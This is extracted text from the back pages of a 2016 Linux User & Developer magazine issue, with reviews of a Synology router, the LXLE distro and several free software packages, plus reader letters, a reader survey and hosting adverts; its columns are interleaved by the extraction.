internet and which devices use it in more detail than its competitors, offers
good overall performance,
includes an optional NAS and
better specs than close rival the Asus RT-AC68U Perhaps the best of the OS is Package Centre, an advanced controls system
(which only has 800MHz dual-core), is equal to the essentially an app store that allow you to download
Netgear Nighthawk R7000, but fractionally less add-ons created by Synology and other third
than the Linksys WRT1900ACS (it boasts 1.3GHz). parties, so you can further customise your router;
Cons
You can buy AC1900 routers with
However, Synology’s debut costs less than any of for instance, turning it into a media centre or adding better specs, faster download
these market leaders, giving you considerable Wi-Fi extra security tools. However, a tad annoyingly, you speeds and longer Wi-Fi range for
only £30-£50 more
bang for your buck. will need to plug in an external hard drive or make
The router also has four LAN ports and a WAN use of the SD card reader in order to store any of
port, which will have to do for ADSL users as there these extra add-ons.
is no built-in ADSL modem. There’s also a USB 3.0
port so you can connect up a printer to your entire
While we were very impressed with the SRM and
think it has the potential to be quite revolutionary
Summary
network more easily, or plug in a 4G dongle. if third-party developers embrace it, none of this The Synology RT1900ac’s
While you may have had no inclination to use matters if the RT1900’s performance isn’t up to it. connectivity management
your router’s interface beyond setting it up and We’re happy to report the RT1900 performed well tools really distinguish
troubleshooting before, Synology Router Manager in close range. Connected via the Ethernet cable, it from other routers in
(SRM) might be about to change that. Though its it racked up an impressive 936Mbps and the 5 its class, offering smart
a variation on the DiskStation Manager Synology GHz Wi-Fi scored a competitive 482Mbps at close features that anyone can
uses for its dedicated NAS servers, even if you range. The 2.4 GHz band clocked up 150 Mbps, learn to use quickly. This
haven’t used a Synology product before, the Linux- which is still commendable. However, moving just will only continue to expand
based interface couldn’t be simpler to use. It apes 10 metres away from the router (albeit through a if third-party developers
a traditional desktop OS, complete with program wall), the 5 GHz benchmark dropped to 217Mbps. take an interest in creating
icons, search bars and a customisable wallpaper. Moving further away (and through more walls), it add-ons. However if you
The SRM allows you to manage your internet and disappeared entirely. The 4.3 GHz band did perform just want no-fuss Wi-Fi
which devices use it in more detail, including seeing better at range and this adds up to an overall good
that covers a large area,
you might

7
how much bandwidth is consumed by individual performance . What’s more, you can also set the
want to
apps and devices, as well as being able to set router to automatically switch between bands
think twice
parental controls and set two distinct guest users, depending on your distance from the hub. This is just
so visitors can temporarily connect to the internet another way Synology is using smart software to
without accessing your local iles. improve your Wi-Fi experience. Jack Parsons

www.linuxuser.co.uk 85

084-085 Hardware Review.indd 85 07/09/2016 16:37

 Review LXLE 16.04.1

DISTRO

LXLE 16.04.1
Changes are plentiful in the latest update
from LXLE’s team of developers
Despite the ever increasing number of Ubuntu- impressive feat to keep times down this low. Another
based Linux distributions appearing all over the key improvement to help keep boot times to a minimum
place, LXLE has managed to keep a small but is the lack of pressure on your computer’s resources.
RAM growing number of users. Compared to many of It’s one of the more CPU-friendly distributions we’ve
512mb its competitors, it boasts ones of the better update had the chance to get hands-on with, and while it isn’t
Storage histories, and its latest update, 16.04.1, is arguably its perfect in some areas, it does what’s required to keep
8GB best yet. At the core of the update is the vast selection things running smoothly at all times.
Versions of improvements in boot times. From start to finish, As ever, the LXDE UI takes centre stage here,
32-bit the whole booting process takes less than 60 seconds. and it still remains one of the premier interfaces
64 -bit Considering the swathe of features onboard, it’s an out there. While simplicity still remains at its core,

86

086-087_LUD170.indd 86 08/09/2016 09:27

 While simplicity still remains at its core, there are some
ingenious animations and transitions
there are some ingenious animations and transitions
embedded to make moving around it that little bit
noticeably apparent as soon as you begin to use
LXLE is that security updates are now automatically
Pros
Bug ixes are plentiful, making
better than before. But it isn’t without its superluous applied. Thankfully the tedious nature of manually this one of the best updates to
additions either, with the new Aero snap feature being seeking out these updates and applying them yourself ever come from LXLE.
the most noticeable of the lot. Aero looks to snap is no more, and for new users it makes the overall
multiple windows together, and it works for the most
part. It’s arguably the one feature that does cause
process considerably easier. Aside from the security
side of things, the uCareSystemCore manager has
Cons
A few superfluous additions do
some slowdown on the distribution, and we doubt it’ll also been implemented; it works as a superb way of slow down certain areas of the
distribution, which will hopefully
become a massive addition for most users. managing other updates throughout the distribution, be sorted soon.
One key difference in this version of LXLE is the and LXLE provides one of the best uses of it we’ve
inclusion of several Mate applications taking over seen in some time. Again, it all comes back to ease
from their GNOME counterparts. For the most part, of use, and it’s something that LXLE has really taken Summary
the differences between the apps are negligible, its time to consider with the additions of these two
but the more eagle-eyed among you will notice key features. Ubuntu is rightly one of
small compatibility problems arising on occasion. LXLE 16.04.1 is far from perfect, but despite it the irst places that many
That said, the suite of apps is fairly standard, but being the irst version of the newest update, we Linux users call home, and
includes everything you need to get started with have to say we’re very impressed. There are few LXLE is one of the best
the distribution. We especially liked the inclusion of Ubuntu-based distributions that can boast of being distributions to stem from
three assistive technology programs, especially the as lightweight and CPU-friendly as the performance it. The latest update does
magniier, which are helpful tools to have around. LXLE can deliver throughout the user experience. have some work to iron out
Perhaps one of the biggest bugbears in the previous Marked improvements in the control menu lead the
its faults, but in its current
state, it’s still one of the
LXLE update was an over-complicated control menu, plethora of changes and it’s a great example of what
better beginner-friendly
but it’s clear that the dev team have taken feedback can be achieved when working with and listening to
distributions currently
on this. A more condensed control menu now greets the community. It’ll be interesting to see where LXLE
available for

8
users and it complements the simplistic nature of goes from here, but in its current state, it’s certainly download
the distribution as a whole well. Searching for core worth a download. Both the 32bit and 64bit versions today.
functions has never been easier, but it does lack the of LXLE 16.04 are available for download from
customisation options we’ve come to expect from www.lxle.net.
similar distributions. The other big ix that becomes Oliver Hill

www.linuxuser.co.uk 87

086-087_LUD170.indd 87 07/09/2016 16:39

 Review Free software

MUSIC SCORE ENGRAVING

LilyPond 2.19.46
A well documented, if challenging,
music score program
With three quarters of a million lines of code, the
20-year-old LilyPond is a mature project, yet releases
have increased incrementally in the unstable branch,
and development remains active. Despite that, many
musicians have yet to try it – put off by the demands of
learning a whole new notation format.
Admittedly it is a steep learning curve, as LilyPond
is capable of producing extremely complex scores,
but the basics are easy enough, and thanks to the
documentation, it’s easy to get started – see the
screenshot – and progress to the level you need
for your own projects. Installation is via shell script
and manages all the complexities of the latest
development version – but try the stable version in
your distro’s repository if you wish to just get started.
Thanks to its longevity and stability, LilyPond is
something of a standard format, despite the number
Above A full score looks fairly overwhelming, so start simple and build up - the documentation is excellent
of competing formats for music scores, and is well
supported by music software exporting compositions
in its format – from Rosegarden to TuxGuitar –
and there’s even a jEdit plugin; Emacs’ Org-mode, Pros Cons Great for…
The scores look stunning; the While no system of turning Producing beautiful printed
with its org-babel system and support for literate notation is logical, flexible and music notation into scores is scores - as advertised!
programming, supports embedded LilyPond scores powerful (but not simple). easy, LilyPond really demands
http://lilypond.org/
with MIDI auditioning. Well-supported. some learning effort!

PYTHON WEB FRAMEWORK

Tornado 4.4.1
A scalable Python web framework and asynchronous networking library
The FriendFeed social media run up against the limitations of WSGI, which does not
website may have disappeared
beneath most peoples’ radars
support non-blocking requests.
Database support includes asynchronous drivers
Pros
Powerful asynchronous
since Facebook bought it for MongoDB and PostgreSQL, and a choice of drivers networking library and non-
seven years ago, but its great legacy is the non-blocking for CouchDB. It has more features than minimal web blocking network I/O.
Tornado Web framework. Designed to cope with frameworks like Flask, but its network library makes
thousands of simultaneous connections, its performance building more complex apps the way you like them Cons
remains ahead of other Python frameworks like Django achievable more quickly. Again, the documentation is a big Yet another web framework to
learn, and more Python package
and it’s ideal for sites needing long-lived connections to help here, along with working through some of the demo dependencies to worry about.
users – perhaps for your customer support department’s applications. Tornado isn’t a magic bullet, but if you’ve
new chat app? been trying to weigh the Django straitjacket against build-
The HelloWorld app on GitHub is one of a number it-yourself options on Flask or other micro frameworks, Great for…
of demos which play to Tornado’s strengths and show it’s an important alternative, with persuasive arguments Busy websites with realtime
update needs
you the possibilities from websockets to web spiders. for anyone looking at long polling and many thousands of
https://tornadoweb.org/
Speaking of websockets, Tornado is just the thing if you’ve open connections.

88

088-089 FOSS Review_Lud170.indd 88 07/09/2016 16:39

 LIGHTWEIGHT DESKTOP ENVIRONMENT

Lumina Desktop Environment 1.0.0

Qt5-based desktop with few system dependencies
There are many competing desktops source is not a problem, with build dependency
out there, even in the niche of
lightweight, low system-resource
installation a single operation on Debian and Fedora-
based distros. The default appearance is a little old-
Pros
Speeds up old hardware, while not
use, and some even get their own skool, and operation – e.g. right-click menus - makes sacrificing much functionality over
version of Ubuntu built around them. So what does the whole thing reminiscent of Window Managers of hungrier rivals.
Lumina have that separates it from the rest? Most yesteryear, such as WindowMaker, but there’s plenty
desktop environments use various operating system more to discover beyond the obvious. Cons
frameworks to work with the system, but Lumina That launch menu has a favourites section, as Not the prettiest appearance - at
least by default - and it takes time
eschews DBUS, policykit, consolekit, systemd and well as pin-to-desktop or Add Quicklaunch options to learn the ropes.
HALD, using its own built-in interface layer. Written for all apps. Extensions include numerous plugins,
from scratch in C++ for speed it has very few from audio player and RSS reader to handy options
dependencies for a full desktop environment, leaning like the JSON-based menu. With 1.0.0, Lumina now Great for…
only slightly on Fluxbox for a few accessories. offers everything expected in a desktop, but Lumina’s Underpowered hardware: old
laptops and new Raspberry Pis
Installation is easy for most distros, as repos are real attraction is its resource efficiency - try it on your
https://lumina-desktop.org/
available with the latest binaries, but building from Raspberry Pi.

DOCUMENT PREPROCESSOR

LyX 2.2.1
Beautiful documents from a user-friendly GUI app
LyX will do for documents what LilyPond does for music
scores - beautiful output - but with the advantage
of a close to WYSIWYG input. In fact, LyX replaces the
WYSIWYG (what you see is what you get) paradigm with
WYSIWYM (what you see is what you mean), but still lets
you lay out the document fairly visually - where it really
differs from conventional word processors is that the
output will be consistent across printers and platforms.
Using the LaTeX typesetting system (whose
complexities we covered in a tutorial in LU&D 138), LyX
gives you a powerful but not unfamiliar front-end that
will enable you to produce all of the documents that
never work as well as planned on a word processor, from
dissertations to mathematics and physics homework. If
you do know TeX/LaTeX then you can use your knowledge
and files with LyX, but its real selling point is that it works
fine with no TeX knowledge.
Installation from provided deb packages was fine on
Debian Jessie; there’s a PPA for Ubuntu users, and most
other distros have documented support. Language Above It’s easy to get started, even from a blank page, but the start-up splash is a useful, concise intro.
support is excellent, including bidirectional and many
Asian fonts. Stability is legendary. It’s difficult to find
fault, particularly as you discover the features that make Pros Cons Great for…
producing well-structured documents a joy. It’s not just for From mathematics to Arabic, Not a drop-in replacement Anything academic, without
everything is laid out perfectly, for your word processor, and having to learn LaTeX
academics - if you have to write any sort of report, give it a with a friendly interface. more powerful than many www.lyx.org/
fair try and you may abandon your word processor. Good docs. users will need.

www.linuxuser.co.uk 89

088-089 FOSS Review_Lud170.indd 89 07/09/2016 16:39

 Reader Survey
Have
your
say!

Join our team today!

Take our three-minute survey and…
✓ Get 10% off our books and magazines
✓ Get access to an exclusive monthly subscription offer
✓ Become eligible for exclusive competitions & free gifts
You can use our reader survey to tell us
exactly what you want from your magazine.
Want more Raspberry Pi? More coding?
More hardware? Let us know – not only
will you make your voice heard and get
the articles you want, you’ll also get the
fantastic opportunity to win prizes, become
eligible for free gifts and much more!

April Madden
Editor

Reader Survey 2016 Template.indd 6 07/09/2016 16:40

 Reader Survey
Four changes
you asked for
It’s quick and easy in 2015…
t o take t he survey Last year we used your input

on any device to make some fantastic

improvements, including…

1 More programming
82 per cent of you told us
that you wanted more tutorials
on programming languages and
frameworks in the magazine.

Only
takes 3
mins!
Take part in our 2016 reader survey and you
can enjoy these fantastic benefits 2 FOSS focus
56 per cent of you said that
you like to read in-depth FOSS
Exclusive discount subscription to the magazine reviews and 65 per cent said you
Incredible savings for new and existing subscribers. wanted more FOSS tutorials.
Plus Free delivery direct to your door.
Exclusive savings on mags and books
Get a 10% discount code to use at our online shop 3 Pi for everyone
57 per cent of you like
Raspberry Pi articles to be balanced
Competitions Free gifts Have your say between your own projects and
Get the chance Become eligible for Gain a place on our ones for your children.
to enter exclusive free gifts including reader panel, giving
competitions for digital editions for you regular input on
money-can’t-buy prizes phones and tablets the magazine

Step 1 Step 2 Step 3

Complete Get Earn
survey involved rewards

Complete our survey & join the team today 4 Free DVD
You asked in overwhelming

http://bit.ly/2cabtda numbers to have the free DVD back

and we obliged! It came back in
issue 165 of the magazine.

Reader Survey 2016 Template.indd 7 07/09/2016 16:40

 Get your listing in our directory
To advertise here, contact Luke
OpenSource [email protected] | +44 (0)1202586431

RECOMMENDED

Hosting listings
Featured host: Having your own
www.cyberhostpro.com dedicated server will
0845 527 9345 give you maximum
performance; our UK
About us servers typically include
Cyber Host Pro are committed to provide the If you’re looking for a hosting provider who same-day activation
best cloud server hosting in the UK; we are will provide you with the quality you need to
obsessed with automation and have been help your business grow then contact us to
since our doors opened 15 years ago! We’ve see how we can help you and your business!
grown year on year and love our solid growing We’ve got a vast range of hosting solutions
customer base who trust us to keep their including reseller hosting and server
business’s cloud online! products for all business sizes.

What we offer
• Cloud VPS Servers – scalable cloud dedicated server will give you maximum
servers with optional Cpanel or Plesk performance; our UK servers
control panel. typically include same-day activation.
• Reseller Hosting – sell web and email • Website Hosting – all of our web hosting
hosting to your clients; both Windows and plans host on 2015/16 SSD Dell
Linux hosting available. servers giving you the fastest
• Dedicated Servers – having your own hosting available!

Testimonials
5 Tips from the pros Chris Michael

01 Optimise your website images

When uploading your website to the
internet, make sure all of your images are
it’s important to take responsibility for
your own data.
“I’ve been using Cyber Host Pro to host various servers
for the last 12 years. The customer support is excellent,
they are very reliable and great value for money! I highly
optimised for websites! Try using jpegmini.
com software, or if using Wordpress install
the EWWW Image Optimizer plugin.
04 Trying to rank on Google?
Google made some changes in 2015.
If you’re struggling to rank on Google, make
recommend them.”

Glen Wheeler
sure that your website is mobile-responsive! “I am a website developer, I signed up with Cyber Host

02 Host your website in the UK

Make sure your website is hosted
in the UK, not just for legal reasons! If your
Plus, Google now prefers secure (https)
websites! Contact your host to set up and
force https on your website.
Pro 12 years ago as a small reseller, 12 years later I have
multiple dedicated and cloud servers with Cyber Host
Pro, their technical support is excellent and I typically
server is overseas you may be missing out get 99.9-100% uptime each month”
on search engine rankings on google.co.uk
– you can check where your site is on www.
check-host.net.
05 Avoid cheap hosting
We’re sure you’ve seen those TV
adverts for domain and hosting for £1! Think
Paul Cunningham
“Me and my business partner have previously had
about the logic... for £1, how many a reseller account with Cyber Host Pro for 5 years,

03 Do you make regular backups?

How would it affect your business if
you lost your website today? It is important to
clients will be jam-packed onto that server?
Surely they would use cheap £20
drives rather than £1k+ enterprise SSDs!
we’ve now outgrown our reseller plan, Cyber Host
Pro migrated us to our own cloud server without any
downtime to our clients! The support provided to us is
always make your own backups; even if your Try to remember that you do get what excellent, a typical ticket is replied to within
host offers you a backup solution you pay for! 5-10 minutes! ”

92

092-093_LUD170.indd 92 07/09/2016 16:41

 Supreme hosting SSD Web hosting

www.cwcs.co.uk www.bargainhost.co.uk
0800 1 777 000 0843 289 2681
CWCS Managed Hosting is the UK’s Since 2001 Bargain Host have campaigned
leading hosting specialist. They offer a fully to offer the lowest possible priced hosting
comprehensive range of hosting products, in the UK. They have achieved this goal
services and support. Their highly trained successfully and built up a large client
staff are not only hosting experts, they’re database which includes many repeat
also committed to delivering a great customers. They have also won several
customer experience and passionate about awards for providing an outstanding
what they do.
Enterprise hosting service.

• Colocation hosting
• VPS
hosting: • Shared hosting
• Cloud servers
• 100% Network uptime • Domain names
www.netcetera.co.uk | 0800 808 5450
Formed in 1996, Netcetera is one services to effectively manage IT
Value hosting of Europe’s leading web hosting infrastructures. A state-of-the-art Value Linux hosting
service providers, with customers data centre enables Netcetera to
in over 75 countries worldwide. offer your business enterprise-
As the premier provider of data level solutions.
elastichosts.co.uk centre colocation, cloud hosting,
02071 838250 dedicated servers and managed • Managed and cloud hosting patchman-hosting.co.uk
web hosting services in the UK, • Data centre colocation 01642 424 237
Netcetera offers an array of • Dedicated servers
ElasticHosts offers simple, flexible and Linux hosting is a great solution for home
cost-effective cloud services with high users, business users and web designers
performance, availability and scalability looking for cost-effective and powerful
for businesses worldwide. Their team hosting. Whether you are building a
of engineers provide excellent support single-page portfolio, or you are running a
around the clock over the phone, email and database-driven ecommerce website, there
ticketing system. is a Linux hosting solution for you.

• Cloud servers on any OS • Student hosting deals

• Linux OS containers • Site designer
• World-class 24/7 support • Domain names

Small business host Budget Fast, reliable hosting

hosting:
www.hostpapa.co.uk www.hetzner.de/us | +49 (0)9831 5050 www.bytemark.co.uk
0800 051 7126 01904 890 890
Hetzner Online is a professional and flexible support and services
HostPapa is an award-winning web hosting web hosting provider and has enabled Hetzner Online Founded in 2002, Bytemark are “the UK
service and a leader in green hosting. They experienced data centre operator. to continuously strengthen its experts in cloud & dedicated hosting”.
offer one of the most fully featured hosting Since 1997 the company has market position both nationally Their manifesto includes in-house expertise,
packages on the market, along with 24/7 provided private and business and internationally. transparent pricing, free software support,
customer support, learning resources, as clients with high-performance keeping promises made by support staff and
well as outstanding reliability. hosting products as well as • Dedicated and shared hosting top-quality hosting hardware at fair prices.
the necessary infrastructure • Colocation racks
• Website builder for the efficient operation of • Internet domains and • Managed hosting
• Budget prices websites. A combination of stable SSL certificates • UK cloud hosting
• Unlimited databases technology, attractive pricing • Storage boxes • Linux hosting

www.linuxuser.co.uk 93

092-093_LUD170.indd 93 07/09/2016 16:41

 Contact us…
OpenSource Your source of Linux news & views [email protected]

COmment

Your letters
Questions and opinions about the mag, Linux, and open source
environment known as Pantheon and sports an OS
So over Ubuntu
Hello LU&D,
X-style dock for an Apple Mac look. Find it at http://
elementary.io/.
Low-res woes
Hello LUD team,
I’ve been using Ubuntu for over a year now. I’m Fedora is not just something you see hipsters I have an old desktop that dual boots Windows 7
bored of it. I suppose it does all the things that I wearing, it’s also a distro that allows you to and whatever Linux install I’m currently playing
want, but people ask me what is that ugly-looking completely switch up the way it looks. By default with at the moment. Recently I decided to give
Windows I have on my PC. Can you recommend it runs the GNOME desktop environment, but it’s Debian a try. It seemed to install fine, but when
something cooler? easy to make it run others such as Xfce, LXDE, I boot into it; it looks like something from 1998 –
Jake Boole MATE and Cinnamon. Have a look at https:// it’s low-resolution with terrible graphics.
getfedora.org/. I don’t think it’s a problem with my display as
The good thing about Linux, Jake, is that there are Speaking of the GNOME desktop, Apricity it’s absolutely fine in Windows, to the extent that
many, many different flavours of it. Some of them OS has planed away all of its non-essentials to it’s happy streaming video and playing older but
look pretty naff, it’s true, but some of them look create a smooth, sleek interface that’s ideal for still hardware-intensive games without a hitch.
awesome. So it all depends on what you’re after. running cloud-based apps. Give it a whirl at http:// I’ve even had the graphics card out to check
Linux Mint is as approachable as Ubuntu but apricityos.com/. on that and it’s absolutely fine. I’ve not had a
has a nice minimalist look and feel. It’s consistently Alternatively, how about making your own problem when I’ve run Linux Mint or live booted
the most popular distro on Linux fans’ crystal ball desktop? KDE – Plasma Desktop (https://www. Ubuntu from your free DVD. Does Debian really
DistroWatch, so it’s obviously doing something kde.org/workspaces/plasmadesktop/) allows you look this bad or has something gone wrong?
right. Check it out at https://www.linuxmint.com/. to configure menus and windows exactly the way Chris Yauch
Like Linux Mint, elementary OS is based on both you want them, add and remove widgets, and really
Debian and Ubuntu, so you’ll know your way around make your desktop your own. It’s available for most From the sound of it, we reckon that for some
it from the get-go, but it has its own custom desktop Linux distros. reason (probably known only to itself) Debian has

Above The KDE Plasma desktop allows you to conigure the look and feel of the Linux desktop UI exactly the way you want to

94

094-095_LUD170.indd 94 07/09/2016 16:41

 Twitter: Facebook:
@linuxusermag Linux User & Developer

somehow missed either your graphics card or your

display during the setup process. Linux distros are
supposed to auto-detect the hardware they come
across and ‘just work’, unlike Windows that usually
requires third-party drivers, but sometimes they
just… don’t. You say that everything works fine in
Windows and under two other recent distros, which
suggests that it’s something going on with Debian
that’s the problem. Fire it up and log in as root, then
open the terminal and type

dpkg-reconfigure xserver-xorg

This should open up the Xorg configuration tool.

Choose Hardware>Graphics Card and Monitor and
you should be able to select the right model for each
from the list. This should hopefully make Debian
realise that yes, you really do have a graphics card
and monitor that are capable of displaying more
than an old GeoCities website, and you’d quite like
to use them, thank you very much. If the problem
persists then you may have to edit your Xorg config
file – the full instructions are at https://wiki.debian.
org/Xorg.
Above This is what the latest version of Debian should look like – plain, yes, but at the proper

The Pi who came resolution for your screen

in from the cold

Hi Linux User team,
I was really impressed with your article on pen
testing with the Raspberry Pi (issue 167 – Ed).
I know I’m going to sound like a heretic here
and a mob of Pi people are probably going to
burn me at the stake for this, but up until then
I just wasn’t bothered about the Raspberry Pi.
Didn’t care that it was a tiny computer (I have
a calculator with more processing power than
took man to the Moon; I’m not impressed),
didn’t care that it was a cheap computer (I’m
a Linuxer, I re-purpose old hardware, I can run
Above The Raspberry Pi is great for a variety of real-world uses, like this touchscreen-enabled pen testing rig
openSUSE on a tin can and a cornflakes packet
if I have to). Don’t care that people can use it actually not for me, so I just simply decided to rig that’s already proved incredibly useful in
to make a board game-playing light-up Twitter- ignore it altogether. my job as a security consultant. Thank you!
spamming robot on wheels. And then you went and did something that’s Evan Waite
Don’t get me wrong, I’m not so much of a useful with it. I didn’t know that you could get
curmudgeon that I resent the thing that’s Kali onto a Pi, much less the other Pi-specific We’re glad you found the article so useful Evan!
actually getting some kids engaged with pen testing tools that you mentioned, because The Raspberry Pi is an amazing little thing, and
hardware and software, because God knows I thought it was only a toy, so I didn’t bother it’s great that it’s helped you in your job. Yes, the
the IT curriculum isn’t going to, but I very looking. Now, for considerably less than £100 Pi is a great toy, but it’s eminently practical as
much viewed the Raspberry Pi and its ilk as (and that includes the touchscreen, battery well (Although we happen to think that board
toys. Good toys – up there with LEGO – but pack, Wi-Fi dongle and a fancy case), I’ve put game-playing light-up Twitter-spamming
toys nonetheless. The Raspberry Pi was together a pocket-sized portable pen-testing robots on wheels are pretty cool too).

www.linuxuser.co.uk 95

094-095_LUD170.indd 95 07/09/2016 16:41

 Free with
your magazine
Instant access to these incredible free gifts…
The best distros Professional Tutorial Plus, all of this
and FOSS video tutorials project files is yours too…
Essential software for The Linux Foundation All the assets you’ll need • Three full lightweight distros: Debian,
Trisquel and Lubuntu
your Linux PC shares its skills to follow our tutorials
• 20 hours of expert video tutorials
from The Linux Foundation
• All-new tutorial files to help you
master this issue’s tutorials
• Essential virtualisation tools
• Program code for our Linux and
Raspberry Pi tutorials

Log in to www.filesilo.co.uk/linuxuser Free

Register to get instant access
for digital
to this pack of must-have Linux
readers too!
Read on your tablet,
distros and software, how-to download on your
videos and tutorial assets computer

096-097_FileSilo_170.indd 96 07/09/2016 16:42

 The home of great
An incredible gift
for subscribers
downloads – exclusive to
your favourite magazines
from Imagine Publishing
Secure and safe online
access, from anywhere
Free access for every
reader, print and digital
Download only the files
you want, when you want
All your gifts, from all
your issues, in one place

Get started
Everything you need to
know about accessing
your FileSilo account

Unlock
every
issue
01 Follow the instructions
on screen to create an
account with our secure FileSilo
system. Log in and unlock the
issue by answering a simple
question about the magazine.
Subscribe today & unlock the free
gifts from more than 40 issues
Access our entire library of resources with a money saving
subscription to the magazine – that’s hundreds of free resources

Over 20 hours The best Free Open

02 You can access FileSilo
on any computer, tablet
or smartphone device using any
of video guides
Essential advice from the
Linux distros
Specialist Linux
Source Software
Must-have programs for
popular browser. However, we Linux Foundation operating systems your Linux PC
recommend that you use a
computer to download content,
as you may not be able to
download files to other devices.

Head to page 26 to subscribe now

03 If you have any
problems with
accessing content on FileSilo
Already a print subscriber?
More than
Here’s how to unlock FileSilo today… More
take a look at the FAQs online
or email our team at the
Unlock the entire LU&D FileSilo library with your unique Web ID
– the eight-digit alphanumeric code that is printed above your
400 reasons added
every
address below
[email protected]
address details on the mailing label of your subscription
copies. It can also be found on any renewal letters.
to subscribe issue

096-097_FileSilo_170.indd 97 07/09/2016 16:42

 From the makers of
The

Python
Discover this exciting and versatile programming language
with The Python Book. You’ll find a complete guide for
new programmers, great projects designed to build your
knowledge, and tips on how to use Python with the
Raspberry Pi – everything you need to master Python.

Also available…

A world of content at your fingertips

Whether you love gaming, history,
animals, photography, Photoshop,
sci-fi or anything in between, every
magazine and bookazine from
Imagine Publishing is packed with
expert advice and fascinating facts.

BUY YOUR COPY TODAY

Print edition available at www.imagineshop.co.uk
Digital edition available at www.greatdigitalmags.com

LUD_Bookazines_08.indd 1 25/05/2016 16:13

Full Page.indd 1 01/09/2016 17:39
Full Page.indd 1 01/09/2016 17:43